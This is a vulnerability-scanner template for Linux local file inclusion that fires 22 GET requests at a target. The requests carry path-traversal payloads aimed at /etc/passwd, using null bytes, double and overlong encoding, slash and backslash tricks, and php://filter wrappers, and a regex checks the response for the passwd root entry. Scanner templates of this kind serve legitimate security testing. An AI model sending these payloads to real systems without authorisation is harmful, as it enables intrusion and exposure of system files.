id: linux-lfi-fuzzing

info:
  name: Linux - Local File Inclusion Fuzzing
  author: geeknik,unstabl3,pentest_swissky,sushantkamble,0xSmiley
  severity: high
  description: Multiple fuzzes for /etc/passwd on passed URLs were conducted, leading to multiple instances of local file inclusion vulnerability.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-200
  metadata:
    max-request: 22
  tags: linux,lfi,fuzz,fuzzing,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?q=../../../etc/passwd&s=../../../etc/passwd&search=../../../etc/passwd&id=&action=../../../etc/passwd&keyword=../../../etc/passwd&query=../../../etc/passwd&page=../../../etc/passwd&keywords=../../../etc/passwd&url=../../../etc/passwd&view=../../../etc/passwd&cat=../../../etc/passwd&name=../../../etc/passwd&key=../../../etc/passwd&p=../../../etc/passwd"
      - "{{BaseURL}}/?q=../../../etc/passwd%00&s=../../../etc/passwd%00&search=../../../etc/passwd%00&id=../../../etc/passwd%00&action=../../../etc/passwd%00&keyword=../../../etc/passwd%00&query=../../../etc/passwd%00&page=../../../etc/passwd%00&keywords=../../../etc/passwd%00&url=../../../etc/passwd%00&view=../../../etc/passwd%00&cat=../../../etc/passwd%00&name=../../../etc/passwd%00&key=../../../etc/passwd%00&p=../../../etc/passwd%00"
      - "{{BaseURL}}/?q=%252e%252e%252fetc%252fpasswd&s=%252e%252e%252fetc%252fpasswd&search=%252e%252e%252fetc%252fpasswd&id=%252e%252e%252fetc%252fpasswd&action=%252e%252e%252fetc%252fpasswd&keyword=%252e%252e%252fetc%252fpasswd&query=%252e%252e%252fetc%252fpasswd&page=%252e%252e%252fetc%252fpasswd&keywords=%252e%252e%252fetc%252fpasswd&url=%252e%252e%252fetc%252fpasswd&view=%252e%252e%252fetc%252fpasswd&cat=%252e%252e%252fetc%252fpasswd&name=%252e%252e%252fetc%252fpasswd&key=%252e%252e%252fetc%252fpasswd&p=%252e%252e%252fetc%252fpasswd"
      - "{{BaseURL}}/?q=%252e%252e%252fetc%252fpasswd%00&s=%252e%252e%252fetc%252fpasswd%00&search=%252e%252e%252fetc%252fpasswd%00&id=%252e%252e%252fetc%252fpasswd%00&action=%252e%252e%252fetc%252fpasswd%00&keyword=%252e%252e%252fetc%252fpasswd%00&query=%252e%252e%252fetc%252fpasswd%00&page=%252e%252e%252fetc%252fpasswd%00&keywords=%252e%252e%252fetc%252fpasswd%00&url=%252e%252e%252fetc%252fpasswd%00&view=%252e%252e%252fetc%252fpasswd%00&cat=%252e%252e%252fetc%252fpasswd%00&name=%252e%252e%252fetc%252fpasswd%00&key=%252e%252e%252fetc%252fpasswd%00&p=%252e%252e%252fetc%252fpasswd%00"
      - "{{BaseURL}}/?q=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&s=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&search=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&id=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&action=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&keyword=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&query=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&keywords=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&url=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&view=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&cat=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&name=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&key=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&p=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
      - "{{BaseURL}}/?q=....//....//etc/passwd&s=....//....//etc/passwd&search=....//....//etc/passwd&id=....//....//etc/passwd&action=....//....//etc/passwd&keyword=....//....//etc/passwd&query=....//....//etc/passwd&page=....//....//etc/passwd&keywords=....//....//etc/passwd&url=....//....//etc/passwd&view=....//....//etc/passwd&cat=....//....//etc/passwd&name=....//....//etc/passwd&key=....//....//etc/passwd&p=....//....//etc/passwd"
      - "{{BaseURL}}/?q=..///////..////..//////etc/passwd&s=..///////..////..//////etc/passwd&search=..///////..////..//////etc/passwd&id=..///////..////..//////etc/passwd&action=..///////..////..//////etc/passwd&keyword=..///////..////..//////etc/passwd&query=..///////..////..//////etc/passwd&page=..///////..////..//////etc/passwd&keywords=..///////..////..//////etc/passwd&url=..///////..////..//////etc/passwd&view=..///////..////..//////etc/passwd&cat=..///////..////..//////etc/passwd&name=..///////..////..//////etc/passwd&key=..///////..////..//////etc/passwd&p=..///////..////..//////etc/passwd"
      - "{{BaseURL}}/?q=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&s=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&search=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&id=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&action=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&keyword=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&query=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&keywords=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&url=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&view=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&cat=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&name=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&key=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&p=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd"
      - "{{BaseURL}}/?q=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&s=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&search=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&id=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&action=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&keyword=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&query=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&keywords=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&url=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&view=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&cat=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&name=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&key=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&p=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd"
      - "{{BaseURL}}/?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
      - "{{BaseURL}}/?redirect=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
      - "{{BaseURL}}/?page=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
      - "{{BaseURL}}/?q=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/image?filename=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/image?name=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/file?filename=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/file?name=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/image?filename=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
      - "{{BaseURL}}/image?name=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
      - "{{BaseURL}}/file?filename=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
      - "{{BaseURL}}/file?name=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
      - "{{BaseURL}}/?q=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"

    stop-at-first-match: true
    matchers:
      - type: regex
        regex:
          - "root:.{0,20}:0:0:"
        part: body
# digest: 490a00463044022073c5452b3772979586d9e67de6e1e8c024f381f5663a1aa21d0194a04086fa0602203e22833f20a8d48e091ff88728c890d2588ae2d082b08a1664c9d06059fdb206:922c64590222798bb761d5b6d8e72950